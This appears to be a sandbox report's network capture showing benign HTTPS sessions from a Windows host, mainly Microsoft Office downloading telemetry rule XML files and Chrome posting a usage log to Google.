6b440ce068ad9126<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-11-11 11:40:14 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-11-11 11:40:14 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 38 73 49 39 54 5a 30 34 77 6b 43 49 49 66 69 58 39 68 6a 30 54 67 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: 8sI9TZ04wkCIIfiX9hj0Tg.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.6	49735	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 11:40:14 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 11:40:14 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 11:40:14 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: 9a2bdabf-a01e-0053-27d5-338603000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T114014Z-174f7845968frfdmhC1EWRxxbw00000004yg000000004537 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 11:40:14 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.6	49736	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 11:40:14 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 11:40:14 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 11:40:14 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: 1973b281-501e-0047-7bd5-33ce6c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T114014Z-174f7845968n2hr8hC1EWR9cag00000004gg000000005kvd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 11:40:14 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.6	49737	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 11:40:14 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 11:40:14 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 11:40:14 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: feb354c0-101e-0079-0dd5-335913000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T114014Z-174f78459685726chC1EWRsnbg00000004v0000000009e8u x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 11:40:14 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.6	49738	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 11:40:14 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 11:40:14 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 11:40:14 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: 55c0910e-d01e-0082-5dd5-33e489000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T114014Z-174f7845968frfdmhC1EWRxxbw00000005000000000029tr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 11:40:14 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.6	49739	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 11:40:14 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 11:40:14 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 11:40:14 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: 1815df8f-001e-0028-27d5-33c49f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T114014Z-174f7845968l4kp6hC1EWRe8840000000550000000004dpg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 11:40:14 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.6	49741	142.250.181.238	443	2940	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-11 11:40:15 UTC	706	OUT	POST /log?format=json&hasfast=true HTTP/1.1 Host: play.google.com Connection: keep-alive Content-Length: 913 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded;charset=UTF-8 Accept: / Origin: chrome-untrusted://new-tab-page X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIkqHLAQj6mM0BCIWgzQEIucrNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-11 11:40:15 UTC	913	OUT	Data Raw: 5b 5b 31 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 5b 5b 22 47 6f 6f 67 6c 65 20 43 68 72 6f 6d 65 22 2c 22 31 31 37 22 5d 2c 5b 22 4e 6f 74 3b 41 3d 42 72 61 6e 64 22 2c 22 38 22 5d 2c 5b 22 43 68 72 6f 6d 69 75 6d 22 2c 22 31 31 37 22 5d 5d 2c 30 2c 22 57 69 6e 64 6f 77 73 22 2c 22 31 30 2e 30 2e 30 22 2c 22 78 38 36 22 2c 22 22 2c 22 31 31 37 2e 30 2e 35 39 33 38 2e 31 33 34 22 5d 2c 5b 31 2c 30 2c 30 2c 30 2c 30 5d 5d 5d 2c 33 37 33 2c 5b 5b 22 31 37 33 31 33 32 35 32 31 33 30 30 31 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c Data Ascii: [[1,null,null,null,null,null,null,null,null,null,[null,null,null,null,null,null,null,null,[[["Google Chrome","117"],["Not;A=Brand","8"],["Chromium","117"]],0,"Windows","10.0.0","x86","","117.0.5938.134"],[1,0,0,0,0]]],373,[["1731325213001",null,null,null,
2024-11-11 11:40:15 UTC	941	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: chrome-untrusted://new-tab-page Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web Set-Cookie: NID=519=OQz2dYmjOHIM08VQGbeRLGRCJqLwJUfK0x248fZoMNMuQomoRpXgrH8NSiY92RmlKRsyN1vjU2tq_nKDYXqct5C7NuWY3QdWwUX_YHAh55ZzmfZmb3O-dJV44gdVzsTBqDdcjeyggd2-gWJs30kU-TfMi5FaXzyIjbPliLi3jc-FQJiBHdjBYbo; expires=Tue, 13-May-2025 11:40:15 GMT; path=/; domain=.google.com; Secure; HttpOnly; SameSite=none P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Content-Type: text/plain; charset=UTF-8 Date: Mon, 11 Nov 2024 11:40:15 GMT Server: Playlog Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Expires: Mon, 11 Nov 2024 11:40:15 GMT Connection: close Transfer-Encoding: chunked
2024-11-11 11:40:15 UTC	137	IN	Data Raw: 38 33 0d 0a 5b 22 2d 31 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 41 4e 44 52 4f 49 44 5f 42 41 43 4b 55 50 22 2c 30 5d 2c 5b 22 42 41 54 54 45 52 59 5f 53 54 41 54 53 22 2c 30 5d 2c 5b 22 53 4d 41 52 54 5f 53 45 54 55 50 22 2c 30 5d 2c 5b 22 54 52 4f 4e 22 2c 30 5d 5d 2c 2d 33 33 33 34 37 33 37 35 39 34 30 32 34 39 37 31 32 32 35 5d 2c 5b 5d 2c 7b 22 31 37 35 32 33 37 33 37 35 22 3a 5b 31 30 30 30 30 5d 7d 5d 0d 0a Data Ascii: 83["-1",null,[[["ANDROID_BACKUP",0],["BATTERY_STATS",0],["SMART_SETUP",0],["TRON",0]],-3334737594024971225],[],{"175237375":[10000]}]
2024-11-11 11:40:15 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.6	49746	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 11:40:15 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 11:40:15 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 11:40:15 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: 1958a6a9-101e-0046-5bd5-3391b0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T114015Z-174f7845968cdxdrhC1EWRg0en00000004v0000000004uqy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 11:40:15 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.6	49744	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 11:40:15 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 11:40:15 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 11:40:15 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: 87508168-a01e-0098-0bd5-338556000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T114015Z-174f7845968t42glhC1EWRa36w00000004n0000000004p12 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 11:40:15 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.6	49745	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 11:40:15 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 11:40:15 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 11:40:15 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: 5f7101d7-901e-0048-4fd5-33b800000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T114015Z-174f78459684bddphC1EWRbht400000004pg000000002rgf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-11 11:40:15 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.6	49743	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 11:40:15 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 11:40:15 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 11:40:15 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: dc8e78b0-f01e-0085-35d5-3388ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T114015Z-174f7845968v79b7hC1EWRu01s00000004n00000000005gh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 11:40:15 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.6	49747	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 11:40:15 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 11:40:15 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 11:40:15 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: 2f59f113-901e-002a-1dd5-337a27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T114015Z-174f7845968glpgnhC1EWR7uec00000004xg00000000affr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
